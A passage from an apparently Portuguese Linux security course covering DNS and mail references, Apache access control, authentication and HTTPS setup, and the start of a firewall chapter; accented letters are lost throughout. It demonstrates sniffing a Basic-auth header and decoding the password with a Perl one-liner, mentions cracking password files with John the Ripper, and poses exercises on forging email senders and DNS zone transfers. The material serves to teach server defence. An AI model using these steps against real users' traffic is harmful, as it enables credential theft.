oficial, aviso de segurana sobre o DNS e FAQ http://www.registro.br - Site responsvel pelo registro de domnio DNS no Brasil . http://www.internic.net - Site responsvel pelos registros dos domnios: .aero, .arpa, .biz, .com, .coop, .edu, .info, .int, .museum, .net. http://www.isc.org/products/BIND/bind-security.html - Possui um histrico de s egurana do BIND. Neste site apresentado os tipos e possveis ataques que j acorreram ao DNS. http://www.sendmail.org - Site oficial do servidor de email sendmail. Dispon ibiliza download, documentao oficial, FAQs, HOWTO e alertas de segurana. http://www.postfix.org - Site oficial do servidor de email postfix. Tambm Dis ponibiliza download, documentao oficial, FAQs, HOWTO e alertas de segurana.

http://www.amavis.org - Site do scanner de email AMaViS?. Possui informaes sob re anti-vrus disponveis para Linux. Disponibiliza download, documentao, FAQ e anncios sobre segurana.

http://packetstormsecurity.org - Neste site voc tem acesso s ltimas notcias sobr e segurana. Disponibiliza exploits para uma grande variedades de servios e sistema s operacionas, ferramentas de anlise e deteco de invaso, patches para correes de bugs etc. http://www.cert.com - Principal site de anncios sobre segurana. Este site forn ece informaes sobre vunerabilidades de servios. Possui instrues de como corrigir dete rminado problema de segurana. http://www.crynwr.com/crynwr/rfc1035 - a converso modificada da RFC1035 (Doma in Names - Concepts and Facilities) em html por Russell Nelson, a RFC mais import ante sobre DNS, e descreve os detalhes do sistema de domnios e protocolo. Terminologia Utilizada sniffers - Traduzido como farejadores, utilizada para capturar dados em trfeg o na rede. Hacker - Indivduo hbil em enganar os mecanismos de segurana de sistemas de comp utao e conseguir acesso no autorizado aos recursos destes, geralmente a partir de u ma conexo remota em uma rede de computadores. RR - Registro de Recurso. So utilizados para compor a base de dados do DNS , todas as informaes de zona so feitas atravs do registro de recurso. Existem vrios tip os de RRs, cada registro tem uma funo especfica: identificar um servidor de email d e um domnio, determinar o incio de autoridade de um domnio, atribuir a um nome um e ndereo IP, entre outros. Autoridade sobre a zona - Servidor primrio que responsvel por um domnio, um servidor tem autoridade sobre um domnio quando este pode delegar consultas para outros servidores de DNS que compe seu domnio. Servidor DNS secundrio - Tambm chamado de Servidor slave, considerado uma cpia do primrio. Este servidor tem a funo de assegurar o servio do servidor primrio caso e ste venha a falhar. Servidor DNS primrio - Definido como um servidor autorizado (Servidor que tem autoridade sobre uma zona) que mantm a base de dados de um determinada zona, est e servidor alm de fazer consulta a servidores razes tambm consultado por outros ser vidores DNS como responsvel (autorizado) pela zona em que foi delegada. Domnio -Define um espao de nomes onde encontra-se vrias zonas. Zona - Uma zona definida como uma regio de um domnio, pode ser entendida como um sub-domnio. Por exemplo o domnio .br tem uma possvel zona chamada com.br, enquan to est zona pode ser um domnio para outras possveis zonas como: sistemasabertos.com .br ou teste.com.br BIND - Berkeley Internet Name Domain, nome do pacote de software do DNS que pode ser encontrado no endereo http://www.isc.org zona reversa - Zona utilizada para resolver nmero IP para nome de host. por m eio desta zona que atravs de um endereo IP descobrimos o nome de uma mquina. Ambiente Chrooted - Ambiente em que o diretrio raiz de um determinado servio d iferente do diretrio raiz do sistema. Muito utilizado em segurana para restringir o sistema de arquivo, assim servios no poderam fazer uso de todo o sistema de arqu ivo.

SPAM - o envio de email no autorizado com finalidade geralmente comercial. Spammers - Agente que pratica SPAM. RELAY - Retransmitir email. Servidores de email precisam muito das vezes res transmitir email para outros servidores de email, isto significa fazer RELAY. Webmail - uma interface Web que permite o usurio ter acesso a sua caixa posta l atravs de um navegador Exerccios de Reviso 1. Quais so os principais apectos de segurana que devem ser levado em consider ao ao escolher um software? Explique o porqu destes aspectos. 2. Como o DNS pode ser explorado para que possamos obter informaes? Faa exemplo s utilizando o whois, nslookup e o host para tal finalidade. Descubra um servido r de email de um domnio utilizando estas ferramentas. 3. Como possvel transferir a base de dados de um servidor DNS remoto? Quais a s parmetros do named.conf pode ser utilizado para evitar esta tranferncia? 4. Quais os parmetros do named.conf no permitem a atualizao dinmica da base de da dos DNS? 5. Quais as vantagens de utilizar um servio em ambiente chrooted e no utilizar o usurio root como dono do processo do servio? Como isto pode ser implementado no DNS? 6. O que SPAM? O que os spammers fazem para que no sejam descobertos? 7. Faa um exemplo de como enviar um email com remetente falsificado? 8. Faa uma comparao entre os servidores sendmail e postfix, apresentando suas v antagens e desvantagens em relao a segurana. 9. Como possvel descobrir qual servidor de email est rodando em mquina remota? Como evitar que isto seja possvel no sendmail e no postfix? 10. Explique literalmente o processo de instalao de anti-vrus no Linux. Segurana no Apache Aqui ser apresentado implementaes de polticas de segurana no servidor Web Apache. O c aptulo finalizado com a implementao do protocolo serguro HTTPS que de fundamental i mportncia para a segurana do servidor. Introduo O Apache o servidor Web mais utilizado no Mundo. Este o motivo pelo qual iremos tratar ele em nosso material. Este servidor foi originado e substitudo do servid or httpd do NCSA. O Apache fornece mecanismos de segurana conforme apresentado ab aixo: * Controle de acesso baseado em host Esta caracterstica permite definir quais mqui nas podem acessar determinado recurso no servidor Web.

* Controle de acesso baseado em usurios possvel implementar autenticao para acessar determinado recurso no servidor Web. Assim, para acessar uma pgina do servidor We

b, por exemplo, o cliente dever efetuar logon. * Suporta HTTPS A implementao do protocolo seguro HTTPS permite que todo trfego via servidor Web seja criptografado. Controle de acesso baseado em host O servidor Web permite disponibilizar recursos de acordo com nome ou o endereo IP de mquinas. Este tipo de configurao no suficiente para garantir o acesso autorizado , pois uma pessoa mal intencionada pode fazer spoofing - falsificar o endereo IP de origem e acessar o recurso Web. Toda a configurao do apache pode ser feita no arquivo httpd.conf. Para estabelecer regras de controle de acesso baseado em host, concentre seus esforos nas diretiv as: order allow,deny Controla a ordem em que as regras Allow/Deny so aplicadas e oferece trs escolha: allow, deny e mutual-failure. Esta ltima opo indica que uma con exo deve passar por ambas as regras Allow/Deny que esto apresentadas abaixo. Allow from - Controla os hosts que podem conectar-se ao servidor Web. Oferec e as seguintes escolhas: all, none, , , . Deny from - Controla os hosts que no podem conectar-se ao servidor Web. Ofere ce as mesmas escolhas que a regra Allow. Controle de acesso diretrio por incluso O exemplo abaixo utiliza do controle de acesso diretrio por incluso, veja: Alias /seguranca "/paginas/web/seguranca"

<Directory "/paginas/web/seguranca&"> Order deny,allow Allow from 10.1.0.2 10.1.0.3 Deny from all </Directory> Note neste exemplo: A ordem de avaliao das regras ser: primeiro deny e depois allow . Primeiro negado o acesso para todos Depois permitido o acesso somente para as mquinas 10.1.0.2 e 10.1.0.3. O rest ante continua negado Logo, a configurao acima permite que somente a mquina 10.1.0.2 e 10.1.0.3 acesse o diretrio /paginas/web/seguranca deste servidor Web. Observe sempre a configurao do parmetro Order. Este parmetro define a ordem com que ser verificado as regras Allow e Deny. Este tipo de configurao interessante quando deseja-se liberar o acesso somente par a algumas mquinas, fazendo um servidor Web mais privativo. Nota: Sempre que o arquivo de configurao do apache for alterado, o daemon do apach e dever ser reiniciado. Controle de acesso diretrio por excluso

Suponha um diretrio com as seguintes configuraes: <Directory "/paginas/web/seguranca"> Order allow,deny Allow from all Deny form 10.1.0.2 *.hackers.com </Directory> Note neste exemplo: A ordem de avaliao das regras ser: primeiro Allow e depois Deny Primeiro permitido o acesso para todos Depois negado o acesso para a mquina 10.1.0.2 e todas as mquinas do domnio hack ers.com. Neste exemplo o parmetro Order define que ser checado primeiro a regra Allow, para depois checar a regra Deny. Portanto, qualquer mquina poder acessar o diretrio /pa ginas/web/seguranca exceto a mquina 10.1.0.2 e todas as mquinas do domnio hacker.co m. Se a regra fosse aplicada da seguinte forma: Order deny,allow, no haveria sent ido, pois primeiramente seria negada para mquina 10.1.0.2 e depois seria liberado para todas as mquina, ou seja, a regra Deny no teria efeito. Este tipo de configurao interessante quando deseja-se liberar o acesso e restringi r o acesso para somente algumas mquinas ofensoras. O prximo exemplo implementa a opo mutual-failure, veja: <Directory "/paginas/web/seguranca"> Order mutual-failure Allow from sistemasabertos.com.br Deny form peao.sistemasabertos.com.br torre.sistemasabertos.com.br </Directory> A opo mutual-failure exige que ambas as regras sejam satisfeitas, Allow e Deny. De sta forma, o servidor Web permitiria acesso para todas as mquinas do domnio sistem asabertos.com.br e negaria acesso para as mquinas peao e torre do domnio sistemasa bertos.com.br. Controle de acesso baseado em usurios. O servidor Apache permite que seja implementado autenticao para acesso a seus recu rsos. Por exemplo: possvel permitir que o diretrio /paginas/web/seguranca - aprese ntado nos exemplos anteriores - seja acessvel somente para usurios que tenha um lo gin e uma senha. hand Veja como isto pode ser implementado: <Directory "/paginas/web/seguranca"> Order allow,deny Allow from all AuthName "Pagina exige autenticao" AuthType Basic AuthUserFile "/etc/httpd/conf/passwd" Require valid-user

</Directory> Vejamos as explicaes dos novos parmetros apresentados: AuthName?: Este parmetro deve ser configurado com um nome que identifique a pg ina. Este nome ser apresentado na caixa de dilogo de autenticao do usurio. AuthType? Basic: Define o mtodo com que ser transmitido o login e a senha para o servidor. Basic um mtodo muito simples de codificao que permite pessoas capturar em facilmente o login e a senha via rede. O outro mtodo o Digest. O ltimo mtodo mai s seguro, entretanto o mais utilizado o Basic. AuthUserFile?: Define o arquivo de senhas utilizado para autenticao. Este arqu ivo gerado atravs do aplicativo htpasswd. Este arquivo nunca deve ser criado dent ro de um diretrio de acesso do apache. Caso contrrio, ser possvel fazer download des te arquivo ou at mesmo ver o contedo dele via navegador. Require: Este parmetro solicita autenticao baseado em usurio e senha. Suporta pa rmetros como: valid-user qualquer usurio cadastrado no arquivo de senha; user fula no beltrano permite logon apenas dos usurios fulano e beltrano. A partir deste pa rmetro tambm possvel definir grupos de acesso por meio do parmetro group. Exemplo: R equire group admin permite logon apenas dos usurios pertencentes ao grupo admin. Arquivo de senhas O arquivo de senha utilizado para autenticao do apache criado por meio do htpasswd . Abaixo est apresentado a sintaxe deste comando: #htpasswd [opes] <arquivo_de_senhas> <usurio> As opes esto apresentadas abaixo: Opo Descrio -c Cria um novo arquivo de senhas -m Opo para utilizar criptografia MD5. Utilizada por padro no sistemas Windows e NetWare? -d Opo para utilizar criptografia CRYPT. Utilizada por padro no Linux. -p Opo para no utilizar criptografia. Esta opo nunca deve ser utilizada. -s Opo para utilizar criptografia SHA. Nota: As opes acima determinam a forma com que ser armazenado as senhas no arquivo tipo de criptografia. A forma de transmisso do login e senha na rede determinado pela opo AuthType? no arquivo httpd.conf. hand Para o nosso exemplo de autenticao apresentado pode-se utilizar o comando aba ixo: #htpasswd -c /etc/httpd/conf/passwd joao Este comando cria o arquivo passwd e adiciona o usurio joao. Em seguida ser pedido a senha e a confirmao. A senha ser armazenado no arquivo criptografada com algorit mo CRYPT, criptografia padro do htpasswd no Linux. hand A opo -c deve ser utilizada somente uma vez. Para criar novos usurios ou alter ar senhas de usurios execute: #htpasswd /etc/httpd/conf/passwd maria hand Veja o contedo do arquivo de senha utilizando criptografia CRYPT:

cat passwd joao:YiDGD1njep.ho Importante: Cuidado com as permisses deste arquivo de senha. Deve-se evitar que o utros leiam ou escrevam neste arquivo. Crackers de senha como o John the Ripper po de ser utilizado para quebrar estas senhas. O John the Ripper pode ser utilizado p ara quebrar senhas com algoritmo CRYPT e MD5. Nota: sempre aconselhvel utilizar criptografia MD5 pois uma criptografia mais for te que as demais. Lembre-se tambm que os arquivos de senhas do sistema Linux util izam MD5. Entretanto, no utilize as mesma senhas do sistema no servidor Web. Para testar sua configurao, basta acessar, via navegador, o diretrio do apache. Uma solicitao de login e senha ser apresentada. Capturando senhas via rede

O servidor Web utiliza o protocolo HTTP que um protocolo no seguro, pois todo o t rfego de dados no criptografado. Portanto, possvel capturar toda a informao que tr na porta 80/HTTP, incluindo o login e senha de pginas Web que necessitam de aute nticao para acesso. Para nosso exemplo iremos capturar os login e senhas de um servidor que utiliza AuthType?=Basic. Para capturar esta senha ser considerado o seguinte exemplo: fig 1. Exemplo de captura de senhas de um servidor Web que utiliza AuthType?=Bas ic. Neste exemplo todas as mquinas esto em um mesmo barramento utilizando um HUB por e xemplo. O processo de transferncia e captura de senha pode ser entendido da segui nte maneira: 1. A mquina cliente peao.sistemasabertos.com.br faz uma requisio do diretrio de acesso do servidor apache torre.sistemasabertos.com.br. 2. A mquina torre envia requisio de autenticao para mquina peao. 3. A mquina peao envia login e senha para a mquina torre utilizando a codificao Basic. 4. A mquina hacker captura o login e senha codificado em Basic por meio de um sniffer. Abaixo est apresentado o que ser captado via rede atravs do sniffer linsniffer. Authorization: Basic am9hbzoxMjM0NTY= O sniffer ir capturar algo parecido com a sada acima. O login e a senha codificado a string am9hbzoxMjM0NTY=. hand Para revertermos o processo de codificao acima, executa-se o comando abaixo: #perl -MMIME::Base64 -le 'print decode_base64"am9hbzoxMjM0NTY="' joao:123456 Para que este comando funcione, necessrio instalar o pacote perl-mime-base64. Obs erve que a sada do comando respectivamente o login e a senha separado por :. O tipo de codificao Basic deve ser evitado de ser utilizado, pois qualquer senha p ode ser capturada via rede. A soluo para este problema utilizar a autenticao Digest. Autenticao Digest

A autenticao Digest garante uma melhor segurana na transferncia de logon e senha do cliente para o servidor Web. O mecanismo de criptografia Digest baseado na cript ografia MD5. Este tipo de autenticao no permite que seja descoberta a senha via red e. A autenticao Digest implementada no Apache por meio do mdulo mod_auth_digest. Para verses mais antigas do Apache, o mdulo chama-se mod_digest.

A configurao deste mtodo de autenticao muito parecido com o mtodo Basic apresentado eja o procedimento de implementao da autenticao Digest abaixo. 1. Altere o arquivo httpd.conf: <Directory "/paginas/web/seguranca"> Order allow,deny Allow from all AuthName &#8220;sa&#8221; AuthType Digest AuthDigestFile &#8220;/etc/apache2/senhas-digest&#8221; Require valid-user </Directory> As linhas em negrito representam as mudanas relativa ao exemplo que utiliza Basic apresentado anteriormente. Observe que foi utilizado o mesmo arquivo de senha. Entretanto, este arquivo deve ser recriado. Pois na autenticao Digest utilizado o comando htdigest no lugar do htpasswd. 2. Criar o arquivo de senhas: hand O arquivo de senha para este tipo de autenticao deve ser criado por meio do c omando htdigest. #htdigest -c /etc/httpd/conf/passwd sa fulano Da mesma forma que o comando htpasswd, a opo -c utilizada para criar o arquivo de senha. Onde sa o 'realm' (semelhante a domnio) e fulano o usurio. Voc pode testar a segurana desta autenticao utilizando um sniffer. Repita o mesmo pr ocedimento para capturar a senha no modo Basic apresentado anteriormente. O lins niffer ir mostrar um resultado similar ao apresentado abaixo: Authorization: Digest username="fulano", realm="sa", nonce="986692581", ur i="/s eguranca", response="0e1c9a0d11128c22431eb79302b70535" A sada do sniffer permite descobrir apenas o nome do usario. A senha fica criptogr afada e no existe um algoritmo que possa reverter o processo. Para quebrar tal se nha, deve-se utilizar de um dicionrio de senha fora bruta - ou algo parecido. Importante: A autenticao Digest somente est suportada nos navegadores: Opera verso 4 .0 ou superior, Mozilla 1.01 ou superior, Netscape 7.0 ou superior e Microsoft I nternet Explorer 5.0 ou superior. Nota: A autenticao Digest garante a segurana no envio de senha para autenticao do apa che. Entretanto, todos os demais dados que trafegam via protocolo HTTP podem ser interceptados na rede em texto limpo. Informaes como cadastro, bate-papo, contedo da pgina etc, somente esto seguros se utilizarmos o protocolo HTTPS. Assim, todo o trfego entre cliente e servidor Web criptografado. Opes que podem afetar a segurana

O apache j instalado com uma boa configurao. Entretanto, necessrio conhecer alguns armetros que podem prejudicar a segurana de seu sistema.

ExecCGI? Permite que scripts de CGI Common Gateway Interface possam ser exec utados sob esta hierarquia de diretrio. FollowSymLinks? Habilita usurios remotos seguir links simblicos do sistema de arquivo simplesmente clicando em seus hyperlinks. Includes Permite o processamento de SSI Server Side Includes. Indexes - Possibilita a listagem do contedo de um diretrio de acesso do apache . O contedo do diretrio mostrado quando nenhum arquivo padro de apresentao existe co o por exemplo: index.html, index.php, etc As quatros opes apresentadas, se possvel, no devem ser utilizadas. Caso seja necessri o utiliz-las, tenha cuidado em gerir as permisses do diretrio cujo parmetro se aplic a. Implementao do protocolo HTTPS O protocolo HTTPS um protocolo seguro cujo objetivo criptografar todas as inform aes em trnsito. O protocolo HTTPS utiliza a porta 443/TCP. Este protocolo viabilizo u o comrcio eletrnico e consultas on-line a conta bancrias to utilizadas atualmente. Servios como estes seriam impossveis de publicao devido a fragilidade do protocolo HTTP. Na verdade, os dois protocolos - HTTP e HTTPS - devem trabalhar conjuntamente em um servidor Web. Pois nem todos os dados possuem a necessidade de serem criptog rafados. A vantagem de utilizar o HTTP a sua velocidade requisio/resposta em relao a o protocolo HTTPS. Portanto, para pginas que no necessitam de um tratamento especi al, deve-se utilizar HTTP. Em contra-partida, pginas onde a segurana prioridade, d eve-se utilizar HTTPS. O HTTPS trabalha com criptografia assimtrica, ou seja, utiliza de um par de chave s chave pblica e privada. Toda vez que o cliente conecta no servidor, ele recebe uma chave pblica que utilizada para criptografar seus dados transmitidos. Somente o servidor deve possuir a chave privada. Portanto, mesmo que alguma pessoa capt ure os dados em trnsito, ele no conseguir quebrar a criptografia. Lembre-se: soment e a chave privada pode descriptografar uma criptografia gerada por uma chave pbli ca. Como a chave privada nunca ser enviada na rede, o HTTPS garante uma tima confi abilidade.

A implementao do protocolo HTTPS feito atravs de SSL Secure Sockets Layer que perm te criptografar todos os dados que trafegar pela porta 443. Portanto, os pacotes para implementao do HTTPS no apache se resumem em trs:

apache Obviamente necessrio o pacote do servidor web apache. Disponvel em http ://www.apache.org. mod_ssl mdulos do apache necessrio para a implementao do SSL. Disponvel em http: /www.modssl.org openssl pacote da verso livre do SSL. O SSL suporta os algoritmos de criptogr afia assimtrica RSA e DSA. Disponvel em http://www.openssl.org. Faa download destes pacotes e copie-os para o diretrio /usr/local/src. Descompacte -os utilizando o comando tar. Depois de descompactado, o procedimento de instalao est apresentado abaixo: hand Instalao do openssl: #cd openssl-0.9.7a #./config

#make #make test #make install

Este o procedimento padro de instalao do SSL. Caso acontea algum problema na compila do cdigo fonte, leia os arquivosREADME e INSTALL que acompanham o pacote. Nota: Cuidado com a verso que voc est utilizando, ela pode ser diferente da verso ap resentada no material. hand Instalao do mod_ssl: #cd mod_ssl-2.8.14-1.3.27 #./configure --with-apache=../apache_1.3.27 &#8211;-with-openssl=../openssl-0.9. 7a As opes with-apache e with-openssl devem informar os caminhos dos diretrios de instal ao do apache e openssl respectivamente. Nota: para saber quais outros parmetros a configurao do mod_ssl suporta, veja o arq uivo README e INSTALL que acompanha o pacote. hand Instalao do Apache: #cd apache_1.3.27 #SSL_BASE=../openssl-0.9.7a #./configure --enable-module=ssl --prefix=/usr/local/apache #make #make certificate TYPE=custom O ltimo comando ir gerar as chaves de criptografia e emitir o certificado de segur ana. hand Para terminar a instalao, execute: #make install Este comando ir instalar o apache dentro do diretrio definido atravs do parmetro --p refix. Este parmetro foi definido na configurao do apache atravs do comando configur e. O diretrio de instalao utilizado em nosso exemplo /usr/local/apache. hand Para inicializar somente o servio HTTP, execute: #/usr/local/apache/bin/apachectl start hand Para inicializar tanto o HTTP e o HTTPS, execute: #/usr/local/apache/bin/apachectl startssl Enter pass phrase: Observe que na inicializao do apache com HTTPS ser necessrio digitar a frase senha u tilizada na gerao do certificado. Para verificar se realmente o servio foi iniciali zado, utilize o nmap conforme mostrado abaixo: #nmap localhost 80/tcp open 111/tcp open 443/tcp open http sunrpc https

Observe os dois servio ativos: HTTP porta 80 e HTTPS porta 443.

Configurando o Apache

O apache deve ser configurado de forma a separar o acesso s pginas seguras do aces so s pginas que no necessitam de criptografia. Portanto, necessrio ter um diretrio d acesso do apache que guarde as pginas segura e que seja acessado somente atravs d o protocolo HTTPS. O padro de instalao usa o mesmo diretrio e desta forma o cliente poder acessar a mesma pgina utilizando tanto o protocolo HTTP quanto o HTTPS. hand Abaixo est mostrado a configurao do apache para o protocolo HTTPS que determin a o diretrio de acesso. <VirtualHost _default_:443> DocumentRoot "/usr/local/apache/htdocs" ServerName torre.xadreznet.com.br ServerAdmin root@torre.xadreznet.com.br ErrorLog /usr/local/apache/logs/error_log TransferLog /usr/local/apache/logs/access_log A diretiva DocumentRoot? desta seo deve ser alterada, pois o diretrio /usr/local/ap ache/htdocs o mesmo utilizado pelo protocolo HTTP. Logo, altere o diretrio defini do na diretiva DocumentRoot?, veja o exemplo: DocumentRoot "/usr/local/apache/seguro" Depois de alterar o arquivo conforme apresentado acima, crie o diretrio seguro de ntro do diretrio /usr/local/apache, coloque suas pginas Web neste diretrio e reinic ie o apache. As pginas que no necessitarem de criptografia devem permanecer no dir etrio htdocs. Nota: O protocolo HTTP um protocolo mais rpido que o HTTPS, portanto use o HTTPS somente quando houver a necessidade de sigilo na transferncia de dados entre clie nte e servidor Web. Cliente HTTPS Para utilizar o servidor Web atravs do protocolo seguro, o cliente dever utilizar a seguinte URL: https://nome.dominio.com.br. Em nosso exemplo, o servidor Web ir apresentar o arquivo index.html contido no diretrio /usr/local/apache/seguro. Qua ndo o cliente digitar http://nome.dominio.com.br, o servidor Web ir apresentar o contedo do arquivo index.html que estiver dentro do diretrio /usr/local/apache/htd ocs. Ao utilizar o protocolo seguro, o navegador ir mostrar alguns alertas, abaixo est mostrado o alerta apresentado pelo Netscape: fig 2. Alerta do netscape quando uma pgina segura solicitada. Se o certificado deste servidor Web foi emitido por uma Autoridade certificadora CA reconhecida pelo navegador, nenhum outro alerta ser apresentado. Se o certifi cado de tal servidor Web no for reconhecido, alertas e informaes do certificado sero enviados para o cliente, neste caso, fica a critrio do cliente aceitar ou no a co nexo. Veja abaixo um exemplo de alerta quando o certificado no reconhecido: fig 3. Janela de alerta quando um cliente Web acessa um site que no possui um cer tificado assinado por um Autoridade Certificadora.

Para verificar quais Autoridades Certificadoras so reconhecidas pelo Netscape, cl ique em Segurana na barra de ferramentas de navegao e, em seguida, selecione Signer s. Ser apresentada a janela abaixo: fig 4. Janela do Netscape que apresenta todas as Autoridades Certificadoras reco nhecidas por este navegador. Links Indicados * http://www.apache.org Site oficial do apache. Disponibiliza FAQ, listas de ema il e download do Apache.

* http://httpd.apache.org/docs/howto/auth.html - Neste endereo encontrado informaes sobre autenticao, autorizao e controle de acesso no apache. Existem exemplos de con figuraes utilizando o mtodo Basic e Digest. Este endereo tambm apresenta algum mdulos de autenticao do apache para banco de dados. * http://www.modssl.org - Disponibiza download dos mdulos SSL necessrio para a imp lementao do protocolo seguro HTTPS no apache. * http://www.openssl.org Site oficial do projeto OpenSSL?. Neste endereo disponib ilizado o cdigo fonte do software, documentao, notcias etc. * http://httpd.apache.org - Disponibiliza documentao, FAQ e HOWTO. Possui tambm annc ios de segurana relacionado ao apache. * http://www.apacheweek.com/features/userauth - possui tutoriais sobre segurana n o apache. Terminologia Utilizada * httpd Primeiro servidor Web que surgiu. O daemon http httpd era um servidor we b de domnio pblico e desenvolvido por Rob McCool? no NCSA - Nacional Center for Su percomputing Aplications. * HTTPS HyperText? Transfer Protocol Secure Protocolo HTTP Seguro, pois utiliza criptografia na transao de dados entre o servidor e cliente Web. muito utilizado e m comrcio eletrnico e movimentaes bancrias via Internet. * MD5 Message Digest verso 5 Algoritmo de criptografia unidirecional. o padro de c riptografia utilizado no sistema Linux para armazenar senhas no arquivo shadow. Este algoritmo pode ser utilizado para criptografar logins e senhas de usurios do Apache. * CRYPT Funo de criptografia utilizado no algoritmo DES Data Encryption Standart. Este algoritmo utilizado como padro no comando htpasswd. * Sniffer - so ferramentas que possuem a finalidade de capturar dados na rede * Basic Tipo de autenticao utilizada pelo servidor Web para transmitir login e sen has de usurios na rede. O Basic envolve uma codificao bsica de base 64 cujo resultad o enviado para o servidor. * Digest outro tipo de autenticao utilizado pelo servidor Web para transmitir logi n e senhas de usurios na rede. A autenticao Digest uma autenticao mais segura que a asic, pois a informao transmitida na rede no pode ser facilmente decodificada. * Cracker de senha Programa utilizado para decifrar senhas, geralmente baseado e m ataques de dicionrios.

* CGI - so programas, geralmente escrito em linguagem como: PHP, Perl, etc, execu tados pelo servidor web cujo resultado fornecido para o cliente. * SSI Server Side Includes - so tags especiais que so includas dentro de arquivos H TML. Estas tags so pr-processadas pelo Servidor Web antes de serem enviadas para o cliente. * SSL Secure Socker Layer Software utilizado para implementao do protocolo seguro HTTPS no Apache. Exerccios de Reviso * 1. De forma geral, quais as medidas que devem ser implementadas no servidor Ap ache para aumentar sua segurana? * 2. D um exemplos de configurao do apache que controle o acesso a nvel de host por incluso. Onde mais interessante utilizar o controle de acesso por excluso em vez d o controle por incluso? * 3. Fale sobre os mtodos de autenticao Basic e Digest do Apache. Qual dos dois mtod os mais seguro? Como possvel capturar senhas dos usurios na rede? * 4. Faa uma pesquisa de como gerenciar controle de acesso atravs de grupos de usur io. Descreva o procedimento de implementao deste controle. * 5. Qual a finalidade do uso do protocolo HTTPS? Quais os pacotes necessrios par a a implementao deste protocolo no Apache? Explique a necessidade de cada pacote. * 6. Por que necessrio alterar o valor da diretiva DocumentRoot? no arquivo de co nfigurao do Apache quando se trabalha com os dois protocolos: HTTP e HTTPS? Firewall Neste captulo ser tratado um dos servios mais importantes para garantir a segurana d e sua rede interna. Aqui ser abordado as principais arquiteturas de Firewall junt o com suas ferramentas de implementao no Linux. Introduo Firewall definido como um conjunto de regras ou componentes com a finalidade de proteger uma rede interna - privada - de uma rede externa - pblica. No caso mais comum, temos como rede interna uma rede administrativa e como rede pblica a Inter net. O Firewall pode ser implementado tanto em computadores pessoais quanto em equipa mentos de roteamento(in-a-box). O firewall sempre deve ser implementado em uma p osio estratgica, garantindo que todo trfego entre a rede interna e externa passe por ele. Atravs do firewall possvel controlar o acesso definindo quem, como e o que p ode entrar ou sair por uma interface de rede, da vem o nome firewall, traduzindo literalmente, seria muro de fogo, ou porta corta-fogo.

As regras implementada nos firewall so mais importantes de que qualquer segurana i mplementada em um servio. Sabemos que possvel implementar polticas de segurana em se rvios permitindo que apenas mquina de tal endereo IP possa acessar determinado serv io ou que somente um usurio possa utilizar algum recurso. Nestes tipos de regras, o invasor bate em sua porta e poder ou no obter acesso, j o firewall no permite que o invasor chegue em sua porta, ou seja, o firewall determina qual pacote pode ou no chegar a tal mquina. Entretanto, no deve-se abrir mo das configuraes de segurana s servios, pois tambm so importantes para seu sistema.

Tipos de firewall H disponvel basicamente dois tipos de firewalls:

Firewall a nvel de pacote - Este tipo de firewall considerado um packet filte r [filtro de pacotes] que permite ou no a entrada ou sada de um pacote baseado nas caractersticas dele, ou seja, em seu endereo de origem, destino, porta de origem e destino e protocolo. Firewall a nvel de aplicao ou de contedo - J este tipo de firewall um pouco mais complexo e exige mais hardware, pois alm de analisar o pacote, ele tambm analisa o contedo do pacote. Por meio deste firewall, por exemplo, possvel bloquear JavaScr ipt?. Ferramentas disponveis As ferramentas que esto disponveis para firewall a nvel de pacote so: ipfwadm para v erses do kernel inferiores a 2.2, ipchains para verses do kernel igual a 2.2 e ipt ables para verso do kernel igual a 2.4. Nota: Em nossos estudos estaremos utilizando o iptables que est disponvel no site http://www.netfilter.org. Para firewall a nvel de aplicao existe o FWTK - FireWall? Tool Kit - que um conjunto de proxies de aplicativo que pode ser utilizado para implementao no Linux, estes conjunto de proxies a base do produto comercial Gaunt let e est disponvel no site http://www.fwtk.org. Existem outras ferramentas de implementao de firewall a partir de um disquete de 1 .44MB. So eles: Floppyfw que d boot em um kernel 2.2 e est disponvel em http://zelow .no/floppyfw e o roteador/firewall da Linux router Project disponvel em http://ww w.linuxrouter.org . Entre os firewall comerciais podemos destacar: O firewall Cisco Pix - http://www.cisco.com - Este o produto de firewall mai s instalado atualmente. Suporta IPSec e pode ser administrado remotamente por se sses como telnet e SSH Checkpoint - http://www.checkpoint.com - esta ferramenta fornece alm dos serv ios de firewall, fornece tambm VPN - Virtual Private Network - e IDS - Intrusion D etection System. Sonicwall - http://www.sonicwall.com - oferece: servios de firewall, VPN, ant i-vrus, entre outros. Gauntlet - http://www.pgp.com - possui servios como: firewall, VPN, proxies d e aplicativo, varredura de vrus. Arquiteturas de firewalls Entre as principais arquiteturas de firewall, podemos destacar necessriamente doi s tipos. O primeiro tipo est mostrado na figura 1, vejamos INTERNET FIREWALL REDE INTERNA fig 1. Ilustrao de um exemplo simples de arquitetura de firewall. Este o tipo de arquitetura mais simples que pode ser implementado. Neste caso, o firewall Linux possui duas placas de redes e faz servio geralmente de IP masquer ade e/ou Proxy para rede interna. Este tipo de estrutura somente deve ser aplica do para redes pequenas em que no h necessidade de grande segurana na rede interna.

A prximo estrutura o ideal para redes que necessitam de grande segurana na rede in terna, vejamos como deve ser implementadas INTERNET FIREWALL REDE DMZ FIREWALL REDE INTERNA fig 2. Ilustrao da estrutura de firewall utilizando um rede DMZ. Nesta arquitetura surge um novo conceito: a rede DMZ - De-Militarized Zone - que significa zona desmilitarizada, nome dado regio que separa as Coreias do Norte e do Sul, tambm chamado de rede perifrica. Geralmente, a rede DMZ utilizada para co mportar os servidores Internet como DNS, Email e WWW que possuem endereos IP vlido s.

Nota: O temo IP vlido faz referncia mquina que est conectada diretamente na Interne ou seja, possui um endereo que pblico. A rede interna nesta estrutura tem um tratamento especial, pois fica protegida p or dois firewalls. Mesmo que o invasor se aposse do primeiro firewall este no pod er farejar os dados que trafegam na rede interna. Entendento o trajeto de um pacotes Todas as decises de roteamento so tomadas pelo kernel. Quando um pacote chega a um determinado host, o kernel verfica as caractersticas do pacote como: endereo de o rigem e destino, porta de origem e destino, protocolo, e determina se este pacot e deve ser entregue localmente ou se deve ser reencaminhado segundo sua tabela d e roteamento. fig3. Diagrama das etapas de decises do kernel relacionado ao pacote TCP/IP. Podemos descrever as etapas de processamento do pacote no kernel, como: 1. O datagrama recebido pela interface de rede 2. O pacote entregue para mquina local, se este for o seu destino. 3. O datagrama analisado segundo a tabela de roteamento e poder ser reencamin hado ou descartado caso no exista nenhuma rota definida 4. Os dados processados localmente so entregues para o software de roteamento que por meio da tabela de roteamento reencaminha para interface de rede correta . 5. Os pacote transmitido. Logo, podemos observar observar os seguintes trajetos que podem ser percorridos pelo pacote: 1->2 - Pacote entregue processado na mquina localmente 1->3->5 - Pacote recebido e roteado segundo a 